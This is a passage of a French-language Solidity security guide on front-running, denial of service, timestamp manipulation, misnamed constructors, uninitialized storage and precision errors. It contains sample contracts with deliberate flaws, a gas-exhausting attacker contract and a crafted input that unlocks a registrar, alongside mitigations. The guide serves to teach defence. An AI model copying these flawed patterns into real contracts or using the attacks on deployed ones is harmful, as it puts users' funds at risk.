Comme pour la plupart des blockchains, les nœuds Ethereum regroupent les transactions et les forment en blocs. Les transactions ne sont considérées comme valides qu'une fois qu'un mineur a résolu un mécanisme de consensus (actuellement [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW pour Ethereum). Le mineur qui résout le bloc choisit également quelles transactions du pool seront incluses dans le bloc, généralement triées par `gasPrice` d'une transaction. C'est ici que réside un vecteur d'attaque potentiel. Un attaquant peut surveiller le pool de transactions à la recherche de transactions pouvant contenir des solutions à des problèmes, modifier ou révoquer les permissions de l'attaquant ou changer un état dans un contrat qui est indésirable pour l'attaquant. L'attaquant peut ensuite obtenir les données de cette transaction et créer sa propre transaction avec un `gasPrice` plus élevé, faisant ainsi inclure sa transaction dans un bloc avant la transaction d'origine.
Voyons comment cela pourrait fonctionner avec un exemple simple. Considérons le contrat `FindThisHash.sol` :```solidity
contract FindThisHash {
bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;
constructor() public payable {} // load with ether
function solve(string solution) public {
// If you can find the pre image of the hash, receive 1000 ether
require(hash == sha3(solution));
msg.sender.transfer(1000 ether);
}
}
Imaginez que ce contrat contienne 1000 ethers. L'utilisateur qui parvient à trouver la pré-image du hash sha3 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a peut soumettre la solution et récupérer les 1000 ethers. Disons qu'un utilisateur découvre que la solution est Ethereum!. Il appelle solve() avec Ethereum! comme paramètre. Malheureusement, un attaquant a été assez rusé pour surveiller le pool de transactions afin de repérer quiconque soumet une solution. Il voit cette solution, vérifie sa validité, puis soumet une transaction équivalente avec un gasPrice beaucoup plus élevé que celui de la transaction d'origine. Le mineur qui résout le bloc donnera probablement la préférence à l'attaquant en raison du gasPrice plus élevé et acceptera sa transaction avant celle du solveur initial. L'attaquant emportera les 1000 ethers et l'utilisateur qui a résolu le problème n'obtiendra rien (il ne reste plus d'ether dans le contrat).
Un problème plus réaliste se pose dans la conception de la future implémentation de Casper. Les contrats de preuve d'enjeu de Casper invoquent des conditions de slashing dans lesquelles les utilisateurs qui remarquent que des validateurs votent en double ou se conduisent mal sont incités à soumettre une preuve de leur comportement. Le validateur sera puni et l'utilisateur récompensé. Dans un tel scénario, il est attendu que les mineurs et les utilisateurs fassent du front-running sur toutes ces soumissions de preuve, et ce problème doit être réglé avant la version finale.
Il existe deux catégories d'acteurs capables de réaliser ce type d'attaques de front-running : les utilisateurs (qui modifient le gasPrice de leurs transactions) et les mineurs eux-mêmes (qui peuvent réordonner les transactions d'un bloc comme bon leur semble). Un contrat vulnérable à la première catégorie (les utilisateurs) est nettement moins bien loti qu'un contrat vulnérable à la seconde (les mineurs), car les mineurs ne peuvent réaliser l'attaque que lorsqu'ils résolvent un bloc, ce qui est peu probable pour un mineur individuel ciblant un bloc spécifique. Je vais énumérer ici quelques mesures d'atténuation selon la catégorie d'attaquants qu'elles peuvent prévenir.
Une méthode possible consiste à créer dans le contrat une logique qui plafonne le gasPrice. Cela empêche les utilisateurs d'augmenter le gasPrice et d'obtenir un ordre de traitement préférentiel des transactions au-delà du plafond. Cette mesure préventive n'atténue que la première catégorie d'attaquants (des utilisateurs quelconques). Dans ce scénario, les mineurs peuvent toujours attaquer le contrat, car ils peuvent ordonner les transactions de leur bloc comme ils le souhaitent, indépendamment du prix du gaz.
Une méthode plus robuste consiste à utiliser un mécanisme de commit-reveal, chaque fois que possible. Un tel système impose que les utilisateurs envoient des transactions contenant des informations cachées (généralement un hash). Une fois la transaction incluse dans un bloc, l'utilisateur envoie une transaction révélant les données qui avaient été envoyées (la phase de révélation). Cette méthode empêche à la fois les mineurs et les utilisateurs de faire du front-running sur les transactions, car ils ne peuvent pas déterminer le contenu de la transaction. Cette méthode ne peut toutefois pas dissimuler la valeur de la transaction (ce qui, dans certains cas, est l'information précieuse à cacher). Le contrat intelligent ENS permettait aux utilisateurs d'envoyer des transactions dont les données engagées comprenaient le montant d'ethers qu'ils étaient prêts à dépenser. Les utilisateurs pouvaient ensuite envoyer des transactions d'un montant arbitraire. Pendant la phase de révélation, les utilisateurs étaient remboursés de la différence entre le montant envoyé dans la transaction et le montant qu'ils étaient prêts à dépenser.
Une autre suggestion de Lorenz, Phil, Ari et Florian est d'utiliser Submarine Sends. Une implémentation efficace de cette idée nécessite l'opcode CREATE2, qui n'a pas encore été adopté, mais qui semble probable dans les prochains hard forks.
Le standard ERC20 est assez connu pour créer des jetons sur Ethereum. Ce standard présente une vulnérabilité potentielle de front-running qui provient de la fonction approve(). Une bonne explication de cette vulnérabilité se trouve ici.
Le standard spécifie la fonction approve() comme suit :```solidity
function approve(address _spender, uint256 _value) returns (bool success)
Cette fonction permet à un utilisateur d'autoriser d'autres utilisateurs à transférer des jetons en son nom. La vulnérabilité de front-running apparaît dans le scénario où un utilisateur, Alice, *approuve* son ami `Bob` à dépenser `100 tokens`. Alice décide plus tard qu'elle veut révoquer l'approbation de `Bob` pour dépenser `100 tokens`, elle crée donc une transaction qui définit l'allocation de `Bob` à `50 tokens`. `Bob`, qui a soigneusement observé la chaîne, voit cette transaction et construit sa propre transaction pour dépenser les `100 tokens`. Il met un `gasPrice` plus élevé sur sa transaction que celui d'`Alice` et fait en sorte que sa transaction soit priorisée par rapport à la sienne. Certaines implémentations de `approve()` permettraient à `Bob` de transférer ses `100 tokens`, puis, lorsque la transaction d'`Alice` est validée, réinitialiseraient l'approbation de `Bob` à `50 tokens`, donnant en effet à `Bob` accès à `150 tokens`. Les stratégies d'atténuation de cette attaque sont données [ici](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) dans le document lié ci-dessus.
Un autre exemple réel et important est [Bancor](https://www.bancor.network/). Ivan Bogatty et son équipe ont documenté une attaque rentable contre l'implémentation initiale de Bancor. Son [article de blog](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798) et sa [présentation à Devon 3](https://www.youtube.com/watch?v=RL2nE3huNiI) expliquent en détail comment cela a été fait. Essentiellement, les prix des tokens sont déterminés en fonction de la valeur de la transaction ; les utilisateurs peuvent observer le pool de transactions pour les transactions Bancor et les exécuter en premier (front-run) pour profiter des différences de prix. Cette attaque a été corrigée par l'équipe de Bancor.
<h2 id="dos"><span id="SP-11">11. Déni de service (DOS)</span></h2>
Cette catégorie est très vaste, mais elle consiste fondamentalement en des attaques où les utilisateurs peuvent rendre le contrat inopérant pendant une courte période, ou dans certains cas, définitivement. Cela peut piéger de l'ether dans ces contrats pour toujours, comme ce fut le cas avec le [piratage du Second Parity MultiSig](#dc-example)
<h3 id="dos-vuln">La vulnérabilité</h3>
Il existe différentes façons de rendre un contrat inopérant. Je ne vais souligner ici que certains motifs de codage Solidity nuancés par la blockchain, potentiellement moins évidents, qui peuvent conduire des attaquants à réaliser des attaques DOS.
**1. Appels externes sans allocation de gas** - Il se peut que vous souhaitiez faire un appel externe à un contrat inconnu et continuer à traiter la transaction, que cet appel échoue ou non. Généralement, cela est réalisé en utilisant l'opcode `CALL`, qui ne révoque pas la transaction si l'appel échoue (voir [Valeurs de retour non vérifiées des CALL](#unchecked-calls) pour plus de détails et des exemples). Prenons un exemple simple, où nous avons un portefeuille de contrat, qui distribue lentement de l'ether lorsque la fonction `withdraw()` est appelée. Un `partner` peut ajouter son adresse et dépenser du gas pour appeler le retrait, donnant à la fois au `partner` et au `owner` 1% du solde total du contrat.```solidity
contract TrickleWallet {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
require(partner == '0x0' || msg.sender == partner);
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// the recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
Remarquez qu'à la ligne [17] nous effectuons un appel externe envoyant 1% du
solde du contrat à un compte spécifié par l'utilisateur. La raison pour laquelle l'opcode CALL est utilisé, est de garantir que
le propriétaire soit toujours payé, même si l'appel externe est annulé. Le problème est que
la transaction enverra tout son gaz (en réalité, seule la majeure partie du gaz de la transaction est envoyée, une partie est laissée pour terminer le traitement de l'appel) à l'appel externe. Si l'utilisateur était malveillant, il pourrait créer un contrat qui consommerait tout le gaz, et forcer toutes les transactions à withdraw() à échouer, en raison d'un manque de gaz.
Par exemple, considérez le contrat malveillant suivant qui consomme tout le gaz,```solidity contract ConsumeAllGas { function () payable { // an assert consumes all transaction gas, unlike a //revert which returns the remaining gas assert(1==2); } }
Si un partenaire de retrait décidait qu'il n'aimait pas le propriétaire du contrat.
Il pourrait définir l'adresse du partenaire sur ce contrat et verrouiller tous les fonds dans
le contrat `TrickleWallet` pour toujours.
Pour prévenir de tels vecteurs d'attaque DOS, assurez-vous qu'une allocation de gaz soit spécifiée dans un
appel externe, afin de limiter la quantité de gaz que cette transaction peut utiliser. Dans notre
exemple, nous pourrions remédier à cette attaque en modifiant la ligne \[17\] pour :```solidity
partner.call.gas(50000).value(amountToSend)();
Cette modification permet de ne dépenser que 50,000 gas pour la transaction externe. Le owner peut fixer un prix du gas plus élevé que cela, afin que sa transaction aboutisse, quelle que soit la quantité de gas utilisée par la transaction externe.
2. Boucler sur des mappings ou des tableaux manipulés extérieurement - Dans mes aventures, j'ai vu diverses formes de ce genre de motif. Cela apparaît généralement dans des scénarios où un owner souhaite distribuer des jetons parmi ses investisseurs, et ce via une fonction de type distribute(), comme on peut le voir dans le contrat d'exemple :```solidity
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
// ... extra functionality, including transfertoken()
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}
function distribute() public {
require(msg.sender == owner); // only owner
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}
Remarquez que la boucle dans ce contrat parcourt un tableau qui peut être artificiellement gonflé. Un attaquant peut créer de nombreux comptes d'utilisateurs, rendant le tableau `investor` volumineux. En principe, cela peut être fait de telle sorte que le gaz nécessaire pour exécuter la boucle for dépasse la limite de gaz du bloc, rendant essentiellement la fonction `distribute()` inopérante.
**3. Opérations du propriétaire** - Un autre schéma courant est celui où les propriétaires disposent de privilèges spécifiques dans les contrats et doivent accomplir une tâche pour que le contrat passe à l'état suivant. Un exemple serait un contrat d'ICO qui exige que le propriétaire `finalize()` le contrat, ce qui rend ensuite les jetons transférables, c'est-à-dire.``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere
function finalize() public {
require(msg.sender == owner);
isFinalized == true;
}
// ... extra ICO functionality
// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
require(isFinalized);
super.transfer(_to,_value)
}
...
Dans de tels cas, si un utilisateur privilégié perd ses clés privées, ou devient inactif, l'ensemble du contrat de jeton devient inopérant. Dans ce cas, si le owner ne peut pas appeler finalize(), aucun jeton ne peut être transféré ; c'est-à-dire que l'ensemble du fonctionnement de l'écosystème de jetons repose sur une seule adresse.
4. Progression d'état basée sur des appels externes - Les contrats sont parfois écrits de telle sorte que pour passer à un nouvel état, il soit nécessaire d'envoyer de l'ether à une adresse, ou d'attendre une entrée d'une source externe. Ces modèles peuvent conduire à des attaques DOS, lorsque l'appel externe échoue ou est empêché pour des raisons externes. Dans l'exemple de l'envoi d'ether, un utilisateur peut créer un contrat qui n'accepte pas l'ether. Si un contrat exige que l'ether soit retiré (considérez un contrat de verrouillage temporel qui exige que tout l'ether soit retiré avant de pouvoir être réutilisé) afin de passer à un nouvel état, le contrat n'atteindra jamais le nouvel état car l'ether ne peut jamais être envoyé au contrat de l'utilisateur qui n'accepte pas l'ether.
Dans le premier exemple, les contrats ne devraient pas parcourir des structures de données qui peuvent être artificiellement manipulées par des utilisateurs externes. Un modèle de retrait est recommandé, dans lequel chacun des investisseurs appelle une fonction de retrait pour réclamer les jetons indépendamment.
Dans le deuxième exemple, un utilisateur privilégié était nécessaire pour changer l'état du contrat. Dans de tels exemples (dans la mesure du possible), un mécanisme de sécurité (fail-safe) peut être utilisé dans le cas où le owner devient incapable. Une solution pourrait être de configurer le owner comme un contrat multisig. Une autre solution est d'utiliser un timelock, où le require de la ligne [13] pourrait inclure un mécanisme temporel, tel que require(msg.sender == owner || now > unlockTime) qui permet à tout utilisateur de finaliser après une période de temps, spécifiée par unlockTime. Ce type de technique d'atténuation peut également être utilisé dans le troisième exemple. Si des appels externes sont nécessaires pour passer à un nouvel état, il faut prendre en compte leur éventuel échec et éventuellement ajouter une progression d'état basée sur le temps dans le cas où l'appel souhaité n'arrive jamais.
Note : Bien sûr, il existe des alternatives centralisées à ces suggestions, où l'on peut ajouter un maintenanceUser qui peut venir résoudre les problèmes liés aux vecteurs d'attaque basés sur DOS si nécessaire. En général, ce type de contrats soulève des problèmes de confiance concernant le pouvoir d'une telle entité, mais ce n'est pas une discussion pour cette section.
GovernMental était un ancien système de Ponzi qui avait accumulé une quantité assez importante d'ether. En fait, à un moment donné, il avait accumulé 1100 ether. Malheureusement, il était vulnérable aux attaques DOS mentionnées dans cette section. Ce post Reddit décrit comment le contrat exigeait la suppression d'un grand mapping afin de retirer l'ether. La suppression de ce mapping avait un coût en gaz qui dépassait la limite de gaz du bloc à l'époque, et il n'était donc pas possible de retirer les 1100 ether. L'adresse du contrat est 0xF45717552f12Ef7cb65e95476F217Ea008167Ae3 et vous pouvez voir à partir de la transaction 0x0d80d67202bd9cb6773df8dd2020e7190a1b0793e8ec4fc105257e8128f0506b que les 1100 ether ont finalement été obtenus avec une transaction qui a utilisé 2,5M de gaz (après que la limite de gaz du bloc a permis une telle transaction).
Les horodatages de bloc ont historiquement été utilisés pour une variété d'applications, telles que l'entropie pour les nombres aléatoires (voir la section Illusion d'entropie pour plus de détails), le verrouillage de fonds pendant des périodes de temps et diverses déclarations conditionnelles de changement d'état qui dépendent du temps. Les mineurs ont la capacité d'ajuster légèrement les horodatages, ce qui peut s'avérer assez dangereux si les horodatages de bloc sont utilisés incorrectement dans les contrats intelligents.
Voici quelques références utiles : La documentation Solidity, cette question Stack Exchange.
block.timestamp ou son alias now peut être manipulé par les mineurs s'ils ont une certaine incitation à le faire. Construisons un jeu simple, qui serait vulnérable à l'exploitation par les mineurs,
roulette.sol:```solidity
contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
Ce contrat se comporte comme une loterie simple. Une transaction par bloc peut miser `10 ether` pour avoir une chance de gagner le solde du contrat. L'hypothèse ici est que `block.timestamp` est uniformément distribué sur les deux derniers chiffres. Si c'était le cas, il y aurait une chance sur 15 de gagner cette loterie.
Cependant, comme nous le savons, les mineurs peuvent ajuster l'horodatage, s'ils en ont besoin. Dans ce cas particulier, si suffisamment d'ether s'accumule dans le contrat, un mineur qui résout un bloc est incité à choisir un horodatage tel que `block.timestamp` ou `now` modulo 15 soit `0`. Ce faisant, il peut gagner l'ether verrouillé dans ce contrat ainsi que la récompense de bloc. Comme une seule personne est autorisée à miser par bloc, cela est également vulnérable aux attaques de [front-running](#race-conditions).
En pratique, les horodatages de blocs sont monotones croissants, les mineurs ne peuvent donc pas choisir des horodatages arbitraires (ils doivent être supérieurs à ceux de leurs prédécesseurs). Ils sont également limités à définir des heures de bloc pas trop éloignées dans le futur, car ces blocs seront probablement rejetés par le réseau (les nœuds ne valideront pas les blocs dont les horodatages sont dans le futur).
<h3 id="block-timestamp-prev">Techniques de prévention</h3>
Les horodatages de blocs ne doivent pas être utilisés pour l'entropie ou la génération de nombres aléatoires - c'est-à-dire qu'ils ne doivent pas être le facteur décisif (directement ou par dérivation) pour gagner un jeu ou modifier un état important (s'ils sont supposés aléatoires).
Une logique sensible au temps est parfois nécessaire ; par exemple, déverrouiller des contrats (timelocking), terminer une ICO après quelques semaines ou imposer des dates d'expiration. Il est parfois recommandé d'utiliser `block.number` (voir la [documentation Solidity](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties)) et un temps de bloc moyen pour estimer les durées ; c'est-à-dire `1 semaine` avec un temps de bloc de `10 secondes` équivaut approximativement à `60480 blocs`. Ainsi, spécifier un numéro de bloc auquel modifier l'état d'un contrat peut être plus sûr, car les mineurs ne peuvent pas manipuler le numéro de bloc aussi facilement. Le contrat [BAT ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) a employé cette stratégie.
Cela peut être inutile si les contrats ne sont pas particulièrement concernés par les manipulations des mineurs sur l'horodatage de bloc, mais c'est une chose à garder à l'esprit lors du développement de contrats.
<h3 id="block-timestamp-example">Exemple concret : GovernMental</h3>
[GovernMental](http://governmental.github.io/GovernMental/) était un ancien système de Ponzi qui a accumulé une assez grande quantité d'ether. Il était également vulnérable à une attaque basée sur l'horodatage. Le contrat payait le joueur qui était le dernier à rejoindre (pendant au moins une minute) dans une manche. Ainsi, un mineur qui était joueur pouvait ajuster l'horodatage (vers un moment futur, pour donner l'impression qu'une minute s'était écoulée) afin de faire apparaître qu'il était le dernier à avoir rejoint depuis plus d'une minute (même si ce n'est pas vrai en réalité). Plus de détails à ce sujet dans le [Post sur l'Histoire des Vulnérabilités de Sécurité d'Ethereum](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes) par Tanya Bahrynovska.
<h2 id="constructors"><span id="SP-13">13. Manipuler les constructeurs avec précaution</span></h2>
Les constructeurs sont des fonctions spéciales qui effectuent souvent des tâches critiques et privilégiées lors de l'initialisation des contrats. Avant Solidity `v0.4.22`, les constructeurs étaient définis comme des fonctions portant le même nom que le contrat qui les contenait. Ainsi, lorsque le nom d'un contrat est modifié en cours de développement, si le nom du constructeur n'est pas modifié, il devient une fonction normale et appelable. Comme vous pouvez l'imaginer, cela a pu (et a) mener à des piratages de contrats intéressants.
Pour approfondir, je suggère au lecteur de tenter les [Défis Ethernaught](https://github.com/OpenZeppelin/ethernaut) (en particulier le niveau Fallout).
<h3 id="constructors-vuln">La vulnérabilité</h3>
Si le nom du contrat est modifié, ou s'il y a une faute de frappe dans le nom du constructeur de sorte qu'il ne correspond plus au nom du contrat, le constructeur se comportera comme une fonction normale. Cela peut avoir des conséquences désastreuses, surtout si le constructeur effectue des opérations privilégiées. Considérez le contrat suivant```solidity
contract OwnerWallet {
address public owner;
//constructor
function ownerWallet(address _owner) public {
owner = _owner;
}
// fallback. Collect ether.
function () payable {}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(this.balance);
}
}
Ce contrat collecte de l'ether et permet uniquement au propriétaire de retirer tout l'ether en appelant la fonction withdraw(). Le problème vient du fait que le constructeur n'est pas exactement nommé comme le contrat. Plus précisément, ownerWallet n'est pas identique à OwnerWallet. Ainsi, n'importe quel utilisateur peut appeler la fonction ownerWallet(), se définir comme propriétaire, puis prendre tout l'ether du contrat en appelant withdraw().
Ce problème a été principalement résolu dans le compilateur Solidity à partir de la version 0.4.22. Cette version a introduit un mot-clé constructor qui spécifie le constructeur, plutôt que d'exiger que le nom de la fonction corresponde au nom du contrat. Utiliser ce mot-clé pour spécifier les constructeurs est recommandé afin d'éviter les problèmes de nommage mentionnés ci-dessus.
Rubixi (code du contrat) était un autre système pyramidal qui présentait ce type de vulnérabilité. Il s'appelait à l'origine DynamicPyramid, mais le nom du contrat a été modifié avant le déploiement en Rubixi. Le nom du constructeur n'a pas été modifié, ce qui permettait à n'importe quel utilisateur de devenir le creator. Une discussion intéressante liée à ce bug peut être trouvée sur ce fil Bitcoin. Finalement, cela permettait aux utilisateurs de se disputer le statut de creator pour réclamer les frais du système pyramidal. Plus de détails sur ce bug particulier peuvent être trouvés ici.
L'EVM stocke les données soit dans storage, soit dans memory. Il est fortement recommandé de bien comprendre comment cela fonctionne et quels sont les types par défaut des variables locales des fonctions lors du développement de contrats. En effet, il est possible de produire des contrats vulnérables en initialisant incorrectement des variables.
Pour en savoir plus sur storage et memory dans l'EVM, consultez la Documentation Solidity : Emplacement des données, la Documentation Solidity : Disposition des variables d'état dans le stockage, la Documentation Solidity : Disposition en mémoire.
Cette section est basée sur l'excellent article de Stefan Beyer. Des lectures complémentaires sur ce sujet peuvent être trouvées à partir de l'inspiration de Stefan, à savoir ce fil reddit.
Les variables locales dans les fonctions utilisent par défaut storage ou memory selon leur type. Les variables locales storage non initialisées peuvent pointer vers d'autres variables de stockage inattendues du contrat, conduisant à des vulnérabilités intentionnelles (c'est-à-dire que le développeur les place délibérément pour attaquer plus tard) ou non intentionnelles.
Considérons le contrat d'enregistrement de noms suivant, relativement simple :```solidity // A Locked Name Registrar contract NameRegistrar {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
Ce simple registre de noms n'a qu'une seule fonction. Lorsque le contrat est `unlocked`, il permet à n'importe qui d'enregistrer un nom (sous forme de hachage `bytes32`) et de mapper ce nom vers une adresse. Malheureusement, ce registre est initialement verrouillé et le `require` à la ligne \[23\] empêche `register()` d'ajouter des enregistrements de noms. Il existe cependant une vulnérabilité dans ce contrat, qui permet l'enregistrement de noms indépendamment de la variable `unlocked`.
Pour discuter de cette vulnérabilité, nous devons d'abord comprendre comment fonctionne le stockage (storage) en Solidity. En guise d'aperçu de haut niveau (sans aucun détail technique approprié - je suggère de lire la documentation Solidity pour une revue appropriée), les variables d'état sont stockées séquentiellement dans des *slots* (emplacements) tels qu'ils apparaissent dans le contrat (elles peuvent être regroupées, mais pas dans cet exemple, donc nous ne nous en soucierons pas). Ainsi, `unlocked` se trouve dans le `slot 0`, `registeredNameRecord` dans le `slot 1` et `resolve` dans le `slot 2`, etc. Chacun de ces slots a une taille de 32 octets (il y a des complexités supplémentaires avec les mappings que nous ignorons pour l'instant). Le booléen `unlocked` ressemblera à `0x000...0` (64 zéros, sans compter le `0x`) pour `false` ou `0x000...1`(63 zéros) pour `true`. Comme vous pouvez le voir, il y a un gaspillage important de stockage dans cet exemple particulier.
L'information suivante dont nous avons besoin est que Solidity attribue par défaut les types de données complexes, tels que les `structs`, au `storage` lorsqu'ils sont initialisés comme variables locales. Par conséquent, `newRecord` à la ligne \[16\] est par défaut en `storage`. La vulnérabilité est causée par le fait que `newRecord` n'est pas initialisée. Comme elle est par défaut en storage, elle devient un pointeur vers le storage et, comme elle n'est pas initialisée, elle pointe vers le slot `0` (c'est-à-dire là où `unlocked` est stocké). Remarquez qu'aux lignes \[17\] et \[18\], nous définissons ensuite `nameRecord.name` avec `_name` et `nameRecord.mappedAddress` avec `_mappedAddress`, ce qui modifie en réalité l'emplacement de stockage du slot 0 et du slot 1, modifiant à la fois `unlocked` et le slot de stockage associé à `registeredNameRecord`.
Cela signifie que `unlocked` peut être directement modifié, simplement via le paramètre `bytes32 _name` de la fonction `register()`. Par conséquent, si le dernier octet de `_name` est non nul, il modifiera le dernier octet du slot de stockage `0` et changera directement `unlocked` à `true`. De telles valeurs `_name` passeront le `require()` à la ligne \[23\] puisque nous définissons `unlocked` sur `true`. Essayez cela dans Remix. Remarquez que la fonction passera si vous utilisez un `_name` de la forme : `0x0000000000000000000000000000000000000000000000000000000000000001`
<h3 id="storage-prev">Techniques de prévention</h3>
Le compilateur Solidity signale les variables de stockage non initialisées comme des avertissements ; les développeurs doivent donc prêter une attention particulière à ces avertissements lors de la construction de contrats intelligents. La version actuelle de Mist (0.10) ne permet pas de compiler ces contrats. Il est de bonne pratique d'utiliser explicitement les mots-clés `memory` ou `storage` lorsqu'on traite des types complexes pour s'assurer qu'ils se comportent comme prévu. Depuis la version `0.5.0` de Solidity, l'utilisation de `memory` et `storage` est obligatoire.
<h3 id="storage-example">Exemples concrets : Honeypots : OpenAddressLottery et CryptoRoulette</h3>
Un pot de miel nommé OpenAddressLottery ([code du contrat](https://etherscan.io/address/0x741f1923974464efd0aa70e77800ba5d9ed18902#code)) a été déployé et utilisait cette particularité de variable de stockage non initialisée pour collecter des ethers auprès de certains pirates potentiels. Le contrat est assez complexe, je vais donc laisser la discussion à ce [fil Reddit](https://www.reddit.com/r/ethdev/comments/7wp363/how_does_this_honeypot_work_it_seems_like_a/) où l'attaque est expliquée assez clairement.
Un autre pot de miel, CryptoRoulette ([code du contrat](https://etherscan.io/address/0x8685631276cfcf17a973d92f6dc11645e5158c0c#code)) utilise également cette astuce pour tenter de collecter quelques ethers. Si vous n'arrivez pas à comprendre comment fonctionne l'attaque, voir [Une analyse de quelques contrats honeypot Ethereum](https://medium.com/@jsanjuas/an-analysis-of-a-couple-ethereum-honeypot-contracts-5c07c95b0a8d) pour un aperçu de ce contrat et d'autres.
<h2 id="precision"><span id="SP-15">15. Nombres flottants et précision</span></h2>
Au moment de la rédaction de ce document (Solidity v0.4.24), les nombres à virgule fixe ou flottante ne sont pas pris en charge. Cela signifie que les représentations en virgule flottante doivent être réalisées avec les types entiers de Solidity. Cela peut conduire à des erreurs/vulnérabilités si ce n'est pas implémenté correctement.
Pour en savoir plus, voir [Techniques et conseils de sécurité des contrats Ethereum - Arrondi avec la division entière](https://github.com/ethereum/wiki/wiki/Safety#beware-rounding-with-integer-division),
<h3 id="precision-vuln">La vulnérabilité</h3>
Comme il n'existe aucun type à virgule fixe dans Solidity, les développeurs sont tenus d'implémenter le leur en utilisant les types de données entiers standard. Il existe un certain nombre d'écueils dans lesquels les développeurs peuvent tomber au cours de ce processus. Je vais essayer d'en souligner quelques-uns dans cette section.
Commençons par un exemple de code (ignorons tout problème de débordement (overflow/underflow) par souci de simplicité).```solidity
contract FunWithNumbers {
uint constant public tokensPerEth = 10;
uint constant public weiPerEth = 1e18;
mapping(address => uint) public balances;
function buyTokens() public payable {
uint tokens = msg.value/weiPerEth*tokensPerEth; // convert wei to eth, then multiply by token rate
balances[msg.sender] += tokens;
}
function sellTokens(uint tokens) public {
require(balances[msg.sender] >= tokens);
uint eth = tokens/tokensPerEth;
balances[msg.sender] -= tokens;
msg.sender.transfer(eth*weiPerEth); //
}
}
Ce simple contrat d'achat/vente de jetons présente quelques problèmes évidents dans l'achat et la vente de jetons. Bien que les calculs mathématiques pour l'achat et la vente de jetons soient corrects, l'absence de nombres à virgule flottante donnera des résultats erronés. Par exemple, lors de l'achat de jetons à la ligne [7], si la valeur est inférieure à 1 ether, la division initiale donnera 0, laissant la multiplication finale à 0 (c.-à-d. 200 wei divisé par 1e18 weiPerEth égale 0). De même, lors de la vente de jetons, toute quantité de jetons inférieure à 10 donnera également 0 ether. En fait, l'arrondi est ici toujours vers le bas, donc vendre 29 jetons donnera 2 ether.
Le problème de ce contrat est que la précision n'est qu'au ether le plus proche (c.-à-d. 1e18 wei). Cela peut parfois devenir délicat lorsqu'on traite avec decimals dans les jetons ERC20 lorsque vous avez besoin de précisions plus élevées.
Garder la bonne précision dans vos contrats intelligents est très important, surtout lorsqu'il s'agit de ratios et de taux qui reflètent des décisions économiques.
Vous devez vous assurer que tous les ratios ou taux que vous utilisez permettent de grands numérateurs dans les fractions. Par exemple, nous avons utilisé le taux tokensPerEth dans notre exemple. Il aurait été préférable d'utiliser weiPerTokens qui serait un grand nombre. Pour résoudre la quantité de jetons, nous pourrions faire msg.value/weiPerTokens. Cela donnerait un résultat plus précis.
Une autre tactique à garder à l'esprit est de prêter attention à l'ordre des opérations. Dans l'exemple ci-dessus, le calcul pour acheter des jetons était msg.value/weiPerEth*tokenPerEth. Remarquez que la division se produit avant la multiplication. Cet exemple aurait atteint une plus grande précision si le calcul effectuait d'abord la multiplication puis la division, c.-à-d. msg.value*tokenPerEth/weiPerEth.
Enfin, lors de la définition d'une précision arbitraire pour les nombres, il peut être judicieux de convertir les variables vers une précision supérieure, d'effectuer toutes les opérations mathématiques, puis, lorsque nécessaire, de revenir à la précision de sortie. Généralement, les uint256 sont utilisés (car ils sont optimaux pour la consommation de gaz) et offrent environ 60 ordres de grandeur dans leur plage, dont certains peuvent être dédiés à la précision des opérations mathématiques. Il peut être préférable de conserver toutes les variables en haute précision dans solidity et de les reconvertir en précisions inférieures dans les applications externes (c'est essentiellement ainsi que fonctionne la variable decimals dans les contrats ERC20 Token). Pour voir des exemples de la façon de procéder et des bibliothèques pour ce faire, je recommande de consulter Maker DAO DSMath. Ils utilisent des noms un peu particuliers, WAD et RAY, mais le concept est utile.
Je n'ai pas trouvé de bon exemple où l'arrondi a causé un grave problème dans un contrat, mais je suis sûr qu'il y en a beaucoup. N'hésitez pas à mettre à jour ceci si vous en avez un bon en tête.
